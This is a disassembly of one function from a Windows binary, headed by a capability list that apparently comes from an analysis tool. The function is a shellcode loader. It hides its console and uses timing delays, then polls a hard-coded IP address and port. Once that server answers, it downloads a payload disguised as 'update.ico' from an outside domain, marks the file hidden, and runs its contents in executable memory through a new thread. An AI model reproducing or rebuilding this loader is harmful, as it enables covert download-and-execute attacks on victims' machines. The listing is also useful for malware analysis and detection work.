Function at 0x1400011a0
Capabilities:
Allocate or change rwx memory
Check http status code
Create http request
Create thread
Download url
Get file size
Read data from internet
Read file on windows
Receive data
Resume thread
Set file attributes
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x3a8]
sub rsp, 0x490
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rbp + 0x370], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rsi, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140001209
imul rdi, rax, 0x64
jmp 0x140001224
cqo
idiv rbx
imul rdi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rdi, rax
movabs r14, 0x311cdad160000
movabs r15, 0x112e0be826d694b3
movsd xmm6, qword [0x140005d68]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14000125e
imul rbx, rax, 0x64
jmp 0x14000127a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
cmp rbx, rdi
jge 0x1400012f1
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
imul rcx, rax, 0x64
mov rax, rdi
sub rax, rbx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
comisd xmm0, xmm6
seta r9b
test r9b, r9b
lea r8, [rcx + r14]
jne 0x1400012ac
lea r8, [rax + rcx]
add rax, rcx
lea rdx, [rcx + r14]
test r9b, r9b
cmove rdx, rax
mov rax, r15
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rsp + 0x48], rdx
imul eax, edx, 0x3b9aca00
sub r8d, eax
mov dword [rsp + 0x50], r8d
lea rcx, [rsp + 0x48]
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
jmp 0x140001240
call fcn.1400023e0
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
xor r15d, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r15 + 1]
lea rcx, str.HTTP_Request
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
jne 0x14000133d
lea rdx, str.InternetOpen_failed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
jmp 0x1400013b6
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__www.baidu.com
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
jne 0x140001380
lea rdx, str.InternetOpenUrlW_failed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
jmp 0x1400013ad
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400013a4
cmp dword [rsp + 0x40], r15d
ja 0x140001380
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r14b, r14b
nop dword [rax]
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.HTTP_Request
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
jne 0x140001403
lea rdx, str.InternetOpen_failed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
lea rdx, str.Checking_HTTP_status_failed
jmp 0x1400017f8
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__192.227.234.140:65530_index
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
test rax, rax
jne 0x140001443
lea rdx, str.InternetOpenUrlW_failed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
jmp 0x140001488
mov dword [rsp + 0x40], 4
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x60]
mov edx, 0x20000013
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x14000149d
lea rdx, str.HttpQueryInfo_failed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.Checking_HTTP_status_failed
jmp 0x1400017f8
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [rsp + 0x60], 0xc8
jne 0x1400017f1
lea rdx, str.HTTP_Status_Code_200._Proceeding_with_download_and_execution.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
mov rcx, rax
lea rdx, [0x140001ae0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
test r14b, r14b
jne 0x1400017e8
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.update.ico
lea rdx, str.https:__jd_dong.com_update.ico
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
test eax, eax
je 0x14000153b
lea rdx, str.Error_downloading_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001ae0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
test ebx, ebx
jne 0x1400017e8
lea rdx, str.Download_successful
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
mov rcx, rax
lea rdx, [0x140001ae0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea edx, [rbx + 2]
lea rcx, str.update.ico
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [rbx + 1]
lea rcx, str.update.ico
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400015cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Error_opening_file:
jmp 0x140001753
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov r8d, eax
mov r9, qword [rsp + 0x50]
mov rcx, r9
mov rdx, qword [rsp + 0x48]
sub rcx, rdx
cmp rdi, rcx
jae 0x1400015fd
lea rcx, [rdi + rdx]
mov qword [rsp + 0x50], rcx
jmp 0x140001636
jbe 0x140001636
mov rax, qword [rsp + 0x58]
sub rax, rdx
cmp r8, rax
jbe 0x14000161b
mov rdx, r8
lea rcx, [rsp + 0x48]
call fcn.140001b20
jmp 0x140001631
sub r8, rcx
lea rbx, [r9 + r8]
xor edx, edx
mov rcx, r9
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x50], rbx
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x64]
mov r8d, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000173d
cmp dword [rsp + 0x64], edi
jne 0x14000173d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
sub rax, rbx
movsxd rdi, eax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x68]
mov r8d, 0x40
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8, rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x140001703
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Error_creating_thread:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
jmp 0x140001716
lea rdx, str.Thread_created_successfully
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
lea rdx, [0x140001ae0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14b, 1
jmp 0x1400017a0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Error_reading_file:
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140001ae0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.Reading_file_content_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
mov rcx, rax
lea rdx, [0x140001ae0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140001814
mov rdx, qword [rsp + 0x58]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001824
call fcn.14000380c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400013c0
lea rdx, str.Download_failed_or_file_already_downloaded
jmp 0x1400017f8
lea rdx, str.HTTP_Status_Code_is_not_200._Continuing_to_check...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001900
lea rdx, [0x140001ae0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400013c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3